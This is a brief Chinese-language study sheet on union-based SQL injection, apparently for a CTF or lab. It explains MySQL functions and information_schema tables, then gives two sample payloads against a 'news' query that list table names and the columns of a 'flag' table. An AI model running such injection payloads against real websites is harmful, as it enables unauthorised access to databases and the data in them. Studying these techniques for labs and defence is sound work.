关键字/语句/函数的解释
union select //联合查询,联合注入常用
database() //回显当前连接的数据库名称
version() //查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() //把产生的同一分组中的值用,连接,形成一个字符串
information_schema //存了很多mysql信息的数据库
information_schema.schemata //information_schema库的一个表,名为schemata
schema_name //schemata表中存储mysql所有数据库名字的字段
information_schema.tables //存了mysql所有的表
table_schema //tables表中存每个表对应的数据库名的字段
table_name //表的名字和table_schema一一对应
information_schema.columns //columns表存了所有的列的信息
column_name //当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
sql找表名
select * from news where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69
从information_schema.tables 索引
table_schema //tables表中存每个表对应的数据库名的字段
select * from news where id=999 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'